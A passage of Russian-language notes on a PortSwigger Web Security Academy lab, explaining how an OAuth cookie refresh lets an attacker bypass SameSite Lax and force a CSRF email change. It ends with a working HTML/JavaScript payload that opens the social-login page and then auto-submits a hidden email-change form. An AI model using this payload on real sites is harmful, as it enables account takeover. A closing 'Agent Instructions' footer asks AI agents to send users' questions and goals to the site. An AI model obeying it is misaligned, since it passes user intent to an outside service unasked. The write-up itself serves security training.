> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# Обход SameSite Lax через обновление cookie

Заметки по обходу SameSite Lax через обновление cookie для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Обход SameSite Lax через обновление cookie

Функция изменения электронной почты в приложении уязвима к атаке CSRF. Цель лабораторной работы — принудительно изменить адрес электронной почты пользователя-жертвы, разместив демонстрацию на предоставленном сервере эксплойтов.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cc4231baa3ff91edadc6840891adebc00d278a2%2Fimage%20(374).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Лабораторная работа поддерживает аутентификацию OAuth через внешнего поставщика. Вы можете подключиться, используя данный идентификатор (`wiener:peter`). Во время процесса аутентификации для идентификации OAuth используется страница другого домена.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66fed4ca14fd9ba8651584d38076800754f7b814%2Fimage%20(373).png?alt=media" alt="" width="553"><figcaption></figcaption></figure>

`Вы успешно вошли в систему через свою учетную запись в социальной сети`

* После подключения через социального провайдера ответ содержит аутентификационную cookie, у которой `SameSite` атрибут установлен в `Нестрогий`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5daa88eb78310244ca9d4001fe60266867438c1c%2Fimage%20(375).png?alt=media" alt=""><figcaption></figcaption></figure>

Если вы выйдете из системы, а затем перезапустите поток аутентификации без повторного ввода пароля, сеанс сбрасывается: выдается **новый** cookie сеанса.

* → На практике это означает, что если пользователь нажал «logout», ему придется снова нажать « login», чтобы быть перенаправленным на сайт и получить новую cookie сеанса.
* Благодаря такому поведению cookie «refresh» во время аутентификации через сторонний домен можно рассмотреть последовательность, при которой первоначальный запрос к странице аутентификации позволяет восстановить/установить cookie сеанса, а затем второе действие (на стороне клиента) запускает запрос, который изменяет адрес электронной почты в учетной записи пользователя.

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
